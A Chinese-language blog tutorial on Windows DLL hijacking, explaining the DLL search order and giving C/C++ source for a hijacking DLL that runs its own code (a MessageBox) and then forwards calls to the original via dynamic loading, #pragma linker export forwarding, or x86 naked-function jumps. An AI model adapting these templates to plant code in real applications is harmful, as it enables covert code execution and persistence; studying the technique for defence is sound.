DLL劫持技术解析(DLL Hijack)

0x01 简介


DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞,Windows对DLL的默认查找顺序(XP SP2及之后)如下:

1. EXE所在文件夹

2. Windows系统目录

3. Windows 16位系统目录

4. Windows目录

5. 当前文件夹

6. PATH环境变量中指出的目录

当我们在EXE程序中导入了某个DLL文件时,其搜索并使用DLL的顺序就是如上。可以看到第5点我标红了

原因是在XP SP2之前Windows默认的DLL搜寻路径与此不一样,感兴趣可以自己去查找,

由于目前Windows平台操作系统大部分都是Win10至少是Win7,所以便直接用这个顺序作为例子。

那这个顺序到底是什么意思呢?  假设有一个DLL叫做example.dll并且位于Windows目录即C:\\Windows\\example.dll。

然后有一个EXE程序假设名叫a.exe调用了该DLL。

这个漏洞就在于a.exe并不是直接去C:\\Windows中寻找example.dll而是按照上述顺序,即先在a.exe自身所在的文件夹中寻找example.dll,如果没有就去Windows系统目录下寻找一直这样下去....直到找到相同名称的DLL文件为止。

注意这里最关键就是DLL的查到与否是按照DLL名称来确定的,名称一样就算找到了,假设有我们调用的DLL位于Windows目录下,而我们在Windows目录下之前(标号为1-3)的任意目录内放入同名的伪造DLL并在其中执行我们想执行的代码最后转发至原本的位于Windows目录下的DLL让其执行原本的功能,这就悄无声息的成功进行劫持并执行了我们的代码。

0x02 DLL劫持手动构造


这里我们来手动构造一下DLL劫持的过程,手动构造的意思就是通过动态载入和释放。首先给出测试代码:

这里是原本的DLL(即被劫持的DLL):

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		_tprintf("Original Dll' Current Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

extern "C" __declspec(dllexport) int Add(int a, int b) {
	return(a + b);
}

这里是劫持原本DLL的新DLL:

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		_tprintf("Dll Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
} 

typedef int (*PFNADD)(int, int);

extern "C" __declspec(dllexport) int Add(int a, int b) {
	TCHAR szSystemDir[MAX_PATH] = {0};

	MessageBox(NULL, "DLL Hijack!", "Info", MB_OK);
	GetSystemDirectory(szSystemDir, MAX_PATH);
	_tcscat_s(szSystemDir, _countof(szSystemDir) * sizeof(TCHAR), "\\Trojan.dll");
	HMODULE hMod = LoadLibrary(szSystemDir);
	if (NULL == hMod)
		return(-1);
	else
		_tprintf("Original Dll Path: %s\r\n", szSystemDir);
	PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
	if (NULL == pfnAdd) 
		return(-1);
        if (hMod)
            FreeLibrary(hMod);

	
	return(pfnAdd(a, b));
}

这里是测试代码:

#include <windows.h>
#include <tchar.h>
#include <cstdio>

int _tmain() {
	HMODULE hMod = NULL;

	hMod = LoadLibrary("Trojan.dll");
	if (!hMod) {
		_tprintf("加载失败!");
		return(-1);
	}
	typedef int (*PFNADD)(int, int);
	PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
	if (NULL == pfnAdd)
		return(-1);
	_tprintf("1000 + 2000 = %d\r\n", pfnAdd(1000, 2000));

	if (hMod) {
		FreeLibrary(hMod);
		hMod = NULL;
	}

	system("pause");

	return(0);
}

来说一下如何使用这些代码:

1. 将两个DLL都改成相同名称

2. 将需要被劫持的DLL放入C:\\Windows\\System32目录下(即Windows系统目录)

3. 将用于劫持的DLL与测试代码文件放在同一个目录下

4. 运行测试代码。

进行如上操作后你就会发现出现了如下:

而原本的DLL功能仅仅是做一个加法。我们执行了自己的代码,也就是一条MessageBox。

0x03 #pragma指令构造函数转发器进行DLL劫持


这种方法是DLL劫持最古老的方法了,利用的是#pragma指令,通过链接器构造转发表。先说一下指令格式:

#pragma comment(linker, "/EXPORT:原导出函数名称=导出原函数的DLL名称.原导出函数名称")

只要在DllMain下方写上这句话就行了。里面的原理就像这样:

这里贴出源代码:

这是劫持用的DLL:

// Trojan.dll
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, "DLL Hijack!", "Info", MB_OK);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
} 

#pragma comment(linker, "/EXPORT:Add=Old_Trojan.Add") // 构造函数转发器

被劫持的DLL和测试代码与前面0x02中的相同。这里有两注意点

1. 调用劫持用的DLL后要转发回原本DLL。但这里实际上是把原本的DLL复制一份到EXE的目录下名且改成另外一个名称后,让劫持用的DLL直接转发至被改名的原DLL并执行原函数。

2. 函数转发表中要完整构造与原DLL中所有的函数

效果是这样的:

0X04 动态载入方式进行DLL劫持(仅适用于X86)


这种方法其实和0x02中的没多大区别和0x03中的方法也有联系,也需要使用#pragma语法,像是混合体。

这里给出#pragma构造转发表的原型:

#pragma comment(linker, "/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")

代码如下:

被劫持DLL代码:

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

extern "C" __declspec(dllexport) int Add(int a, int b) {
	return(a + b);
}

extern "C" __declspec(dllexport) int Sub(int a, int b) {
	return(a - b);
}

BOOL WINAPI DllMain(HMODULE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		_tprintf("Original Dll' Current Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

用于劫持的DLL代码:

#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>


PVOID GetAddr(CONST TCHAR* pszFuncName) {
	PVOID lpAddress = NULL;
	HMODULE hMod = NULL;
	TCHAR szDllPath[MAX_PATH] = "C:\\Windows\\System32\\Trojan.dll";

	hMod = LoadLibrary(szDllPath);
	if (NULL == hMod)
		return(NULL);
	lpAddress = GetProcAddress(hMod, pszFuncName);
	FreeLibrary(hMod);

	return(lpAddress);
}

extern "C" __declspec(naked) int New_Add(int a, int b) {
	GetAddr("Add");
	// GetProcAddress执行完结果存在eax寄存器中
	__asm jmp eax
}

extern "C" __declspec(naked) int New_Sub(int a, int b) {
	GetAddr("Sub");
	__asm jmp eax
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	HMODULE hDll = NULL;

	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetSystemDirectory(szFileName, MAX_PATH * sizeof(TCHAR));
		_tcscat_s(szFileName, _countof(szFileName) * sizeof(TCHAR), "\\Trojan.dll");
		hDll = LoadLibrary("Trojan.dll");
		break;
	case DLL_PROCESS_DETACH:
		if (hDll)
			FreeLibrary(hDll);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
} 

#pragma comment(linker, "/EXPORT:Add=_New_Add,@1")
#pragma comment(linker, "/EXPORT:Sub=_New_Sub,@2")


测试代码不变

这种方法其实与第一种完全一样

 

 

 

 

 

 

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值